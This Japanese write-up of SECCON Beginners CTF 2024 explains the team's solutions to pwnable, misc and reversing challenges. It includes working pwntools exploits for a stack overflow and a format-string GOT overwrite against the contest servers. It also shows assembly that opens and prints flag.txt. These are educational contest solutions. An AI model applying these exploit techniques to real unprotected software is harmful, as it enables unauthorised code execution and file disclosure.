SECCON Beginners CTF 2024 Write-up
久しぶりに時間を取れたので2年ぶりに参加しました。hamayanhamayan と2人で参加して 20位/1613pt という結果でした。hamayanhamayan は、Web問全完!!
チーム名:whitecats
チームメイトの Write-up:SECCON Beginners CTF 2024 Writeups - はまやんはまやんはまやん
Pwnable
simpleoverflow
Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32
Dockerfile と compose.yaml が提供されるので、実行した際の動きは↓のような感じ
$ docker-compose up -d $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 0acba4ab2b99 simpleoverflow-overflow "/jail/run" 16 minutes ago Up 3 seconds 0.0.0.0:9000->5000/tcp simpleoverflow-overflow-1 $ nc 127.0.0.1 9000 name:seccon Hello, seccon You are not admin. bye
ソースファイルを確認
int main() { char buf[10] = {0}; int is_admin = 0; printf("name:"); read(0, buf, 0x10); printf("Hello, %s\n", buf); if (!is_admin) { puts("You are not admin. bye"); } else { system("/bin/cat ./flag.txt"); } return 0; }
10 bytes の buf 変数に対して、read は 0x16 bytes まで受け付けるので、バッファオーバーフローする。オーバーフローすると if 文でフラグとして利用している is_admin 変数を上書きしてしまう。is_admin の値が 0 以外になれば、OK なので、適当な文字列を 11文字書き込めばOKそう。
試した結果
nc simpleoverflow.beginners.seccon.games 9000 name:aaaaaaaaaaaaaaaa Hello, aaaaaaaaaaaaaaaaW4� ctf4b{0n_y0ur_m4rk}
Flag: ctf4b{0n_y0ur_m4rk}
simpleoverwrite
スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b
void win() { char buf[100]; FILE *f = fopen("./flag.txt", "r"); fgets(buf, 100, f); puts(buf); } int main() { char buf[10] = {0}; printf("input:"); read(0, buf, 0x20); printf("Hello, %s\n", buf); printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18)); return 0; }
buf[10] に対して read で最大 32バイト読み込むのでスタックバッファオーバーフローする。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
CANARY は無効なので、シンプルにバッファオーバーフローでリターンアドレスをオーバライトする
from pwn import * srv = 'simpleoverwrite.beginners.seccon.games' #srv = '127.0.0.1' port = 9001 bin = ELF('./chall') conn = remote(srv, port) payload = b'A' * 10 payload += b'B' * 8 addr_win = 0x401186 payload += p64(addr_win) conn.sendline(payload) output = conn.recvrepeat(5000) print(output)
Flag: ctf4b{B3l13v3_4g41n}
pure-and-easy
nc pure-and-easy.beginners.seccon.games 9000
pure-and-easy.tar.gz 014306641136ca8c1f9af367d68a1f5ee2f2c083
問題のソース。read して buf をそのまま printf しているので Format String Bug がある。
int main() { char buf[0x100] = {0}; printf("> "); read(0, buf, 0xff); printf(buf); exit(0); } void win() { char buf[0x50]; FILE *fp = fopen("./flag.txt", "r"); fgets(buf, 0x50, fp); puts(buf); }
RELRO もなかったので、GOT を書き換えられる。main 関数はリターンせずに exit を呼び出しているので、exit のGOTアドレスを win関数に書き換える。
ソルバー
from pwn import * srv = 'pure-and-easy.beginners.seccon.games' #srv = '127.0.0.1' port = 9000 bin = ELF('./chall') ''' $ checksec chall Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ''' conn = remote(srv, port) addr_main = 0x4011a6 addr_win = 0x401341 addr_exit_got = bin.got['exit'] addr_bss = 0x404060 print('{:02x}'.format(addr_exit_got)) ''' $ readelf -r chall Relocation section '.rela.dyn' at offset 0x610 contains 4 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000403fd8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0 000000403fe0 000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0 000000404060 000c00000005 R_X86_64_COPY 0000000000404060 stdout@GLIBC_2.2.5 + 0 000000404070 000d00000005 R_X86_64_COPY 0000000000404070 stdin@GLIBC_2.2.5 + 0 Relocation section '.rela.plt' at offset 0x670 contains 9 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000404000 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 000000404008 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0 000000404010 000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0 000000404018 000500000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0 000000404020 000600000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0 000000404028 000700000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0 000000404030 000900000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0 000000404038 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0 000000404040 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0 ''' # GOT overwrite # 下位2バイトを書き換え win0 = addr_win & 0xff win1 = (addr_win & 0xff00) >> 8 print(hex(win0), hex(win1)) ow0 = win0 ow1 = 0x100 - ow0 + win1 print(hex(ow0), hex(ow1), hex(ow0+ow1)) # format string bug # offset: %6hhn~ payload = f'%{ow0}c%9$hhn'.encode('utf8') payload += f'%{ow1}c%10$hhn'.encode('utf8') payload += b'Z' * (8 - len(payload) % 8) payload += p64(addr_exit_got) payload += p64(addr_exit_got + 1) conn.sendline(payload) print('send:', payload) output = conn.recvuntil(b'> ') print('recv:', output) output = conn.recvrepeat(5000) print('recv', output)
実行結果
$ python3 solve.py Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done 404040 0x41 0x13 0x41 0xd2 0x113 send: b'%65c%9$hhn%210c%10$hhnZZ@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00' recv: b'> ' recv b' \x90 \xffZZ@@@ctf4b{Y0u_R34lly_G0T_M3}\n\nctf4b{Y0u_R34lly_G0T_M3}\n\n'
Flag: ctf4b{Y0u_R34lly_G0T_M3}
Misc
getRank
https://getrank.beginners.seccon.games
getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16
数字を当てるゲームで、スコアが1位になるとフラグを貰える
サーバ側のソース
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0]; : function chall(input: string): Res { if (input.length > 300) { return { rank: -1, message: "Input too long", }; } let score = parseInt(input); if (isNaN(score)) { return { rank: -1, message: "Invalid score", }; } if (score > 10 ** 255) { // hmm...your score is too big? // you need a handicap! for (let i = 0; i < 100; i++) { score = Math.floor(score / 10); } } return ranking(score); }
10進数で送れる 10 ** 255 以上の値を投げても 100回 10で割られる。isNaN のチェックは 16進数でもOKなので、16進数で最大投げられるものを送れば、フラグがきた
import httpx url = 'https://getrank.beginners.seccon.games/' data = {'input': '0x' + 'f' * 298} print(data) r = httpx.post(url, json=data) print(r.text)
$ python3 solve.py {'input': '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'} {"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
Flag: ctf4b{15_my_5c0r3_700000_b1g?}
clamre
アンチウィルスのシグネチャを読んだことはありますか?
※サーバにアクセスしなくても解けます
https://clamre.beginners.seccon.games
clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c
ClamAV のオリジナルシグネチャっぽい。シグネチャを正規表現で書いているっぽい
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
最後の正規表現にマッチする文字列を作ればOK。フラグになるっぽい。 (abc) のようにカッコでまとめられているのは、グループとして扱われ、\3 や \7 で再利用できるらしい。全体が () で囲まれているので、中の正規表現は グループ2 から数えるのに注意。(\x63\x74\x66) がグループ2 になる。
Flag: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
Rev
assemble
Webアプリで Intel記法のアセンブリを実行できるツール。Challenge 1~Challenge 4まで問題があって、Challenge 4 まで解くとフラグをもらえる。
Challenge 1
Challenge 1. Please write 0x123 to RAX! RAX に 0x123 をMOV するだけ
Challenge 2
Challenge 2. Please write 0x123 to RAX and push it on stack! Challenge 1 にプラスして、Push RAX するだけ
Challenge 3
Challenge 3. Please use syscall to print Hello on stdout! rax に Hello を用意して push、Syscall で標準出力に Write する
mov rax, 0x6f6c6c6548 # Hello を逆に格納 push rax mov rax, 0x1 # システムコール番号 1 (write) mov rdi, 0x1 # ファイルディスクリプタ 1:標準出力 mov rsi, rsp # 文字列を格納しているバッファのアドレス mov rdx, 5 # 出力する文字数 syscall
Challenge 4
Challenge 4. Please read flag.txt file and print it to stdout!
flag.txt を open して、read して、標準出力に write する
push 0x0 # null文字 mov rax, 0x7478742e67616c66 # flag.txt push rax mov rax, 0x2 # システムコール番号 2 (open) mov rdi, rsp # ファイル名のバッファ mov rsi, 0x0 # 読み取り専用(O_RDONLY) syscall # open mov rbx, rax # ファイルディスクリプタを一時格納 mov rax, 0 # システムコール番号 0 (read) mov rdi, rbx # ファイルディスクリプタ mov rsi, rsp # 読み込みバッファ mov rdx, 0x100 # 読み込む最大バイト数 syscall mov rcx, rax # 読み込んだバイト数を一時格納 mov rax, 1 # システムコール番号 1 (wite) mov rdi, 1 # 標準出力 mov rsi, rsp # 出力するバッファ mov rdx, rcx # 出力するバイト数 syscall
Flag: ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
cha-ll-enge
cha.ll.nge というテキストファイルが渡される。中身を確認すると LLVM-IR という LLVMの中間コードらしい。 リファレンスやらなんやらを見ながら処理を確認したら、入力文字列としてFlag文字列を入力して、以下の整数配列の要素と XOR して一致すればOKというものだった。
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
XOR の処理は、i 番目の入力文字と i 番目の配列要素を XOR して、i+1 番目の配列要素と一致すればOKという流れ。なので印字可能文字で総当たりしてフラグを入手した
ソルバー
k = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85 , 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7] flag = '' i = 0 for i, _k in enumerate(k[:-1]): for x in range(0x20, 0x7f): tmp = x ^ _k if tmp == k[i+1]: flag += chr(x) print(flag)
Flag: ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}